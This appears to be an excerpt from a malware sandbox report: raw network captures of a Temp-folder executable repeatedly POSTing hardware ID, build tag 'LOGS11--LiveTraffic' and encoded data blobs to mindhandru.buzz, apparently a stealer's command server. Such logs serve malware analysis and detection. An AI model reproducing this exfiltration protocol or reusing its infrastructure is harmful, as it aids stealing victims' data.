2024-12-27 08:01:22 UTC	1369	IN	Data Raw: 79 37 4e 4a 41 58 63 63 44 75 65 6f 45 6e 48 67 6e 42 4f 53 74 47 73 71 69 6f 75 57 6a 55 6f 54 69 6e 52 50 74 67 4e 78 34 4b 6c 71 68 6d 6c 42 41 37 6c 61 51 7a 78 6e 55 58 48 34 68 73 62 57 6d 35 6a 37 57 70 66 4d 6e 6d 49 4f 39 51 73 32 6f 2b 58 56 50 53 6f 58 75 65 46 44 6d 51 6f 58 79 4d 4f 78 59 42 78 54 45 69 52 4b 65 75 71 37 39 6c 30 4b 30 74 6f 55 54 33 59 54 59 56 41 4a 6a 69 4f 74 63 63 4b 64 6a 32 4d 37 30 34 48 77 66 4c 49 6d 31 52 2b 37 2f 6c 74 57 4b 66 2f 6e 2b 74 52 2f 4e 69 50 68 45 41 6d 71 4e 34 6d 52 77 30 6b 61 5a 37 6d 6a 51 55 44 38 6b 36 49 6b 2b 78 6f 36 43 32 61 64 75 67 4d 4f 45 48 73 32 6f 71 58 56 50 53 6a 56 4f 69 57 52 43 69 37 6d 7a 47 4c 46 41 41 78 48 52 31 44 72 6d 6c 71 62 70 68 32 61 38 7a 71 30 44 34 59 54 6b 5a 42 Data Ascii: y7NJAXccDueoEnHgnBOStGsqiouWjUoTinRPtgNx4KlqhmlBA7laQzxnUXH4hsbWm5j7WpfMnmIO9Qs2o+XVPSoXueFDmQoXyMOxYBxTEiRKeuq79l0K0toUT3YTYVAJjiOtccKdj2M704HwfLIm1R+7/ltWKf/n+tR/NiPhEAmqN4mRw0kaZ7mjQUD8k6Ik+xo6C2adugMOEHs2oqXVPSjVOiWRCi7mzGLFAAxHR1Drmlqbph2a8zq0D4YTkZB
2024-12-27 08:01:22 UTC	1369	IN	Data Raw: 59 47 6a 43 65 76 48 53 42 4a 78 34 4b 78 7a 77 6c 52 37 53 69 6f 4c 39 6f 30 36 77 2b 70 6b 66 39 5a 58 4a 54 53 35 57 36 4e 4d 39 62 45 49 69 31 59 5a 34 34 4d 51 72 48 64 44 49 41 72 4f 61 69 76 69 36 48 35 6a 61 7a 54 66 35 2f 4f 78 6f 46 6e 61 46 6d 6c 68 59 36 69 71 6c 38 6a 44 49 63 41 63 63 79 4c 45 75 2f 71 71 4b 33 5a 64 43 71 66 2b 38 4a 39 48 56 79 52 55 75 38 71 57 65 41 47 44 2b 54 75 47 6a 49 4b 6c 34 65 69 44 4d 68 44 75 33 6d 70 72 6c 6c 32 36 59 7a 6f 55 33 2b 62 53 41 53 44 4a 57 72 66 34 55 52 4e 70 2b 6c 65 34 4d 36 46 68 58 45 4f 6a 39 4c 70 37 54 6c 2f 43 37 59 76 6e 2f 35 43 63 56 71 49 67 30 49 30 4a 4e 69 6c 41 30 36 6c 61 49 7a 6c 33 73 4a 52 38 38 34 62 52 62 31 6f 4b 71 37 62 64 43 6e 4e 71 31 45 39 6d 51 33 48 41 32 57 71 48 Data Ascii: YGjCevHSBJx4KxzwlR7SioL9o06w+pkf9ZXJTS5W6NM9bEIi1YZ44MQrHdDIArOaivi6H5jazTf5/OxoFnaFmlhY6iql8jDIcAccyLEu/qqK3ZdCqf+8J9HVyRUu8qWeAGD+TuGjIKl4eiDMhDu3mprll26YzoU3+bSASDJWrf4URNp+le4M6FhXEOj9Lp7Tl/C7Yvn/5CcVqIg0I0JNilA06laIzl3sJR884bRb1oKq7bdCnNq1E9mQ3HA2WqH
2024-12-27 08:01:22 UTC	1369	IN	Data Raw: 32 4c 45 39 6b 58 55 58 43 34 68 73 62 55 32 79 70 61 53 34 5a 39 4f 70 4f 4b 56 62 2b 57 6f 67 48 41 71 5a 72 33 69 58 46 6a 79 53 72 33 71 46 4f 52 30 41 7a 7a 73 6f 44 76 76 6d 6f 71 6f 75 68 2b 59 65 72 45 4c 2f 4e 6d 68 64 46 4e 79 37 4e 4a 41 58 63 63 44 75 63 34 49 77 47 67 72 4c 4f 79 35 63 74 4b 43 33 73 6d 50 56 74 44 57 71 54 50 35 67 50 78 34 4e 6c 4b 6c 34 68 52 49 78 6d 36 55 7a 78 6e 55 58 48 34 68 73 62 57 32 69 73 4b 2b 31 59 73 6d 74 50 71 4a 66 2f 6e 31 79 55 30 75 44 70 57 58 58 51 79 65 49 75 58 53 58 65 77 6c 48 7a 7a 68 74 46 76 57 67 72 4c 52 70 32 61 67 74 70 45 2f 38 59 6a 73 55 44 35 71 68 64 4a 4d 66 4e 70 32 74 66 34 4d 79 45 77 6a 4d 50 53 4e 48 75 75 62 72 38 6d 6e 48 35 6d 66 68 61 4f 68 75 50 68 42 4c 6a 65 78 74 31 78 77 Data Ascii: 2LE9kXUXC4hsbU2ypaS4Z9OpOKVb+WogHAqZr3iXFjySr3qFOR0AzzsoDvvmoqouh+YerEL/NmhdFNy7NJAXccDuc4IwGgrLOy5ctKC3smPVtDWqTP5gPx4NlKl4hRIxm6UzxnUXH4hsbW2isK+1YsmtPqJf/n1yU0uDpWXXQyeIuXSXewlHzzhtFvWgrLRp2agtpE/8YjsUD5qhdJMfNp2tf4MyEwjMPSNHuubr8mnH5mfhaOhuPhBLjext1xw
2024-12-27 08:01:22 UTC	259	IN	Data Raw: 38 68 74 55 43 66 44 49 69 68 4a 6f 2b 53 51 73 57 44 52 6f 53 6e 68 56 73 77 6a 63 68 49 52 30 76 70 4e 6a 6c 73 32 6c 4f 34 72 79 43 41 58 42 38 38 75 4f 30 6d 35 74 36 36 2f 59 76 32 70 4f 4c 64 4b 2f 47 34 6a 46 45 65 5a 72 7a 54 5a 57 7a 61 41 37 69 76 49 47 68 63 52 79 78 73 75 58 37 7a 6d 36 2f 4a 70 79 65 5a 6e 34 58 65 7a 66 7a 45 4e 43 4a 32 7a 53 74 64 44 4b 4b 62 75 65 4a 34 79 41 41 54 65 50 79 42 43 70 4a 6a 6c 36 6a 71 4e 39 47 33 7a 47 2b 77 74 4c 53 4a 46 30 71 4d 30 7a 79 49 6f 32 4c 67 7a 30 47 64 65 52 39 70 30 64 51 37 79 70 62 65 67 61 4e 79 77 50 4f 5a 33 7a 55 6f 6b 46 77 79 43 70 57 4f 59 57 33 2f 59 6f 54 50 51 44 46 41 4f 7a 79 38 38 57 4c 69 32 6f 76 4a 52 6b 65 59 6e 34 52 47 7a 57 44 45 54 42 5a 57 30 5a 64 6f 38 4a 35 4b 70 Data Ascii: 8htUCfDIihJo+SQsWDRoSnhVswjchIR0vpNjls2lO4ryCAXB88uO0m5t66/Yv2pOLdK/G4jFEeZrzTZWzaA7ivIGhcRyxsuX7zm6/JpyeZn4XezfzENCJ2zStdDKKbueJ4yAATePyBCpJjl6jqN9G3zG+wtLSJF0qM0zyIo2Lgz0GdeR9p0dQ7ypbegaNywPOZ3zUokFwyCpWOYW3/YoTPQDFAOzy88WLi2ovJRkeYn4RGzWDETBZW0Zdo8J5Kp
2024-12-27 08:01:22 UTC	1369	IN	Data Raw: 32 63 37 32 0d 0a 38 69 48 30 65 47 64 43 73 4f 37 66 58 72 38 6d 72 4f 35 6d 66 78 47 36 67 34 59 55 70 62 77 4c 30 36 6a 6c 73 6e 32 50 59 68 78 6e 55 43 52 35 42 30 61 6b 32 6e 74 4b 4f 78 65 4e 7a 68 41 5a 39 75 36 57 41 30 43 68 71 73 6e 48 4f 4e 46 6a 65 50 76 7a 2b 64 4e 68 34 4a 7a 79 4a 74 41 50 57 70 35 65 70 58 6e 2b 35 2f 6e 67 65 7a 64 58 4a 46 53 36 65 68 65 70 6b 63 4a 34 6e 6a 56 4a 49 34 46 68 44 5a 64 47 4d 4f 73 2b 62 39 34 69 43 66 6f 69 37 68 45 61 4d 2f 61 55 68 59 78 66 49 6d 69 46 55 6f 32 4c 67 7a 30 47 64 65 52 39 70 30 64 51 37 79 70 62 65 67 61 4e 79 77 50 4f 5a 33 7a 55 4d 31 47 77 36 56 73 6a 61 35 45 43 57 66 37 6a 33 49 4f 6c 42 66 38 58 52 6c 44 6f 72 6f 35 61 6f 75 68 2b 59 4b 6f 6b 66 39 61 69 51 4d 52 72 79 6c 63 70 49 Data Ascii: 2c728iH0eGdCsO7fXr8mrO5mfxG6g4YUpbwL06jlsn2PYhxnUCR5B0ak2ntKOxeNzhAZ9u6WA0ChqsnHONFjePvz+dNh4JzyJtAPWp5epXn+5/ngezdXJFS6ehepkcJ4njVJI4FhDZdGMOs+b94iCfoi7hEaM/aUhYxfImiFUo2Lgz0GdeR9p0dQ7ypbegaNywPOZ3zUM1Gw6Vsja5ECWf7j3IOlBf8XRlDoro5aouh+YKokf9aiQMRrylcpI
2024-12-27 08:01:22 UTC	1369	IN	Data Raw: 6d 58 49 62 55 4a 4a 69 43 5a 74 46 76 58 68 70 71 42 38 32 61 55 70 6f 67 37 4e 55 78 55 54 44 4a 4f 30 5a 49 41 55 66 72 61 59 55 72 59 4c 42 51 54 47 4f 69 70 59 70 4f 62 72 38 6d 47 66 2f 67 62 68 41 62 4e 53 66 46 30 54 30 76 6f 30 6f 68 67 2f 6c 71 6c 6c 6d 58 67 33 43 63 38 31 4f 31 36 69 71 65 71 63 57 50 37 6d 63 65 46 50 73 7a 56 67 55 30 75 57 73 7a 54 50 53 32 50 44 2b 79 44 66 5a 55 49 59 68 69 31 74 57 50 58 2b 39 2f 77 75 7a 65 5a 6e 34 51 37 77 66 79 41 62 43 49 53 68 4d 36 6b 6c 46 70 61 70 63 70 34 6c 48 51 76 70 4e 7a 78 45 69 35 69 77 73 57 44 52 6f 53 6d 77 43 62 30 74 50 56 31 54 71 2b 49 38 31 79 52 2f 32 4c 59 7a 30 48 55 6c 42 4d 59 36 4b 6c 69 6b 36 34 4b 38 61 64 36 77 4c 36 78 46 30 6d 34 6a 46 30 76 63 34 6e 4c 58 51 32 50 57 Data Ascii: mXIbUJJiCZtFvXhpqB82aUpog7NUxUTDJO0ZIAUfraYUrYLBQTGOipYpObr8mGf/gbhAbNSfF0T0vo0ohg/lqllmXg3Cc81O16iqeqcWP7mceFPszVgU0uWszTPS2PD+yDfZUIYhi1tWPX+9/wuzeZn4Q7wfyAbCIShM6klFpapcp4lHQvpNzxEi5iwsWDRoSmwCb0tPV1Tq+I81yR/2LYz0HUlBMY6Klik64K8ad6wL6xF0m4jF0vc4nLXQ2PW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49820	172.67.165.185	443	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:01:24 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1Z506M2JARU2QCU931 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18169 Host: mindhandru.buzz
2024-12-27 08:01:24 UTC	15331	OUT	Data Raw: 2d 2d 31 5a 35 30 36 4d 32 4a 41 52 55 32 51 43 55 39 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 31 5a 35 30 36 4d 32 4a 41 52 55 32 51 43 55 39 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 5a 35 30 36 4d 32 4a 41 52 55 32 51 43 55 39 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --1Z506M2JARU2QCU931Content-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--1Z506M2JARU2QCU931Content-Disposition: form-data; name="pid"2--1Z506M2JARU2QCU931Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-27 08:01:24 UTC	2838	OUT	Data Raw: d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed Data Ascii: ,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)py
2024-12-27 08:01:26 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:01:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ioum43tpkg8e7spn8ggjmjhlao; expires=Tue, 22 Apr 2025 01:48:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WlHBoUoqkK5MLS3PbywDwggVl2%2Frnz8HlV9hUQnKVzcBOz2UZeTyUzRhR4kF3NWoGJx82CHJu6LQ4yu7EihkdZ5NO3ftdt8sJN5dcL%2FoZAyPm5I6GY7Jug%2FJDjsz2dM7CU4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c851ff6717a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1666&rtt_var=632&sent=16&recv=27&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19130&delivery_rate=1719670&cwnd=238&unsent_bytes=0&cid=69593e21a1fc374f&ts=1790&x=0"
2024-12-27 08:01:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:01:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49831	172.67.165.185	443	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:01:27 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7QD6EFOF34GQ02 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8766 Host: mindhandru.buzz
2024-12-27 08:01:27 UTC	8766	OUT	Data Raw: 2d 2d 37 51 44 36 45 46 4f 46 33 34 47 51 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 37 51 44 36 45 46 4f 46 33 34 47 51 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 51 44 36 45 46 4f 46 33 34 47 51 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 51 Data Ascii: --7QD6EFOF34GQ02Content-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--7QD6EFOF34GQ02Content-Disposition: form-data; name="pid"2--7QD6EFOF34GQ02Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7Q
2024-12-27 08:01:28 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:01:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o5fv0eeoqmkbvd4hkqkfg9a39a; expires=Tue, 22 Apr 2025 01:48:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IhstoTCi0TdLDpi99H25k5mrCIGMZ%2FiAVLH1Zk6uCER3IHjp9Ofenhnzia3Wt5agkSPY%2FrpYb%2FXVDbsZy%2BLLEH8zaqm3lC2e6VG3Gg%2BQjc5rtZ8J%2FkzoJ8O1eCcEI%2Fj8WzM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c8659b3f7c96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1822&rtt_var=685&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2837&recv_bytes=9700&delivery_rate=1593886&cwnd=173&unsent_bytes=0&cid=885313b4378c6139&ts=934&x=0"
2024-12-27 08:01:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:01:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49838	172.67.165.185	443	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:01:30 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OOY0WQFVFAPUMQFH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20431 Host: mindhandru.buzz
2024-12-27 08:01:30 UTC	15331	OUT	Data Raw: 2d 2d 4f 4f 59 30 57 51 46 56 46 41 50 55 4d 51 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4f 4f 59 30 57 51 46 56 46 41 50 55 4d 51 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 4f 59 30 57 51 46 56 46 41 50 55 4d 51 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --OOY0WQFVFAPUMQFHContent-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--OOY0WQFVFAPUMQFHContent-Disposition: form-data; name="pid"3--OOY0WQFVFAPUMQFHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-27 08:01:30 UTC	5100	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-27 08:01:31 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:01:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lpvqdd3bstfp7qt6kvhohqgscp; expires=Tue, 22 Apr 2025 01:48:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gT9liYtfyY%2Fd7AUQZf8t9IhnsNhCDMgOg3P744q6wHKgy6KvO4oGj6jo7d1Y98wOdnUMFi%2FJeNE8u4w%2FSSPg816VCNjufID5uQ4jzpVqro4MKHvxM9yblZJsPeu%2Fzg1HiJc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c874f9e741b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2228&min_rtt=2227&rtt_var=836&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21390&delivery_rate=1311180&cwnd=199&unsent_bytes=0&cid=ba63d9ebd2cdf04a&ts=935&x=0"
2024-12-27 08:01:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:01:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49846	172.67.165.185	443	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:01:32 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FEH5TUCWHAGRDIJF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1260 Host: mindhandru.buzz
2024-12-27 08:01:32 UTC	1260	OUT	Data Raw: 2d 2d 46 45 48 35 54 55 43 57 48 41 47 52 44 49 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 46 45 48 35 54 55 43 57 48 41 47 52 44 49 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 45 48 35 54 55 43 57 48 41 47 52 44 49 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --FEH5TUCWHAGRDIJFContent-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--FEH5TUCWHAGRDIJFContent-Disposition: form-data; name="pid"1--FEH5TUCWHAGRDIJFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-27 08:01:33 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:01:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8dejkg5ggfnce34oeq6jkaq81m; expires=Tue, 22 Apr 2025 01:48:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WCg%2Ba7cC1%2B76WtB8uI%2Fvr3YvjgnMG60mcnOyoyIvZdyesRG0nBcUsdYhk140pGMoH%2F7ApRbTXv9nIszSb1%2FgAI5wOBiFCTTozCo%2BU8hzjfldAuMwujN2U0Yqw9Cw6WdrvXg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c88689cc4378-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1568&rtt_var=589&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2174&delivery_rate=1856325&cwnd=235&unsent_bytes=0&cid=d780c4e13f1ac549&ts=653&x=0"
2024-12-27 08:01:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:01:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49852	172.67.165.185	443	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:01:35 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JB1ZSTSG739PMMGF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570737 Host: mindhandru.buzz
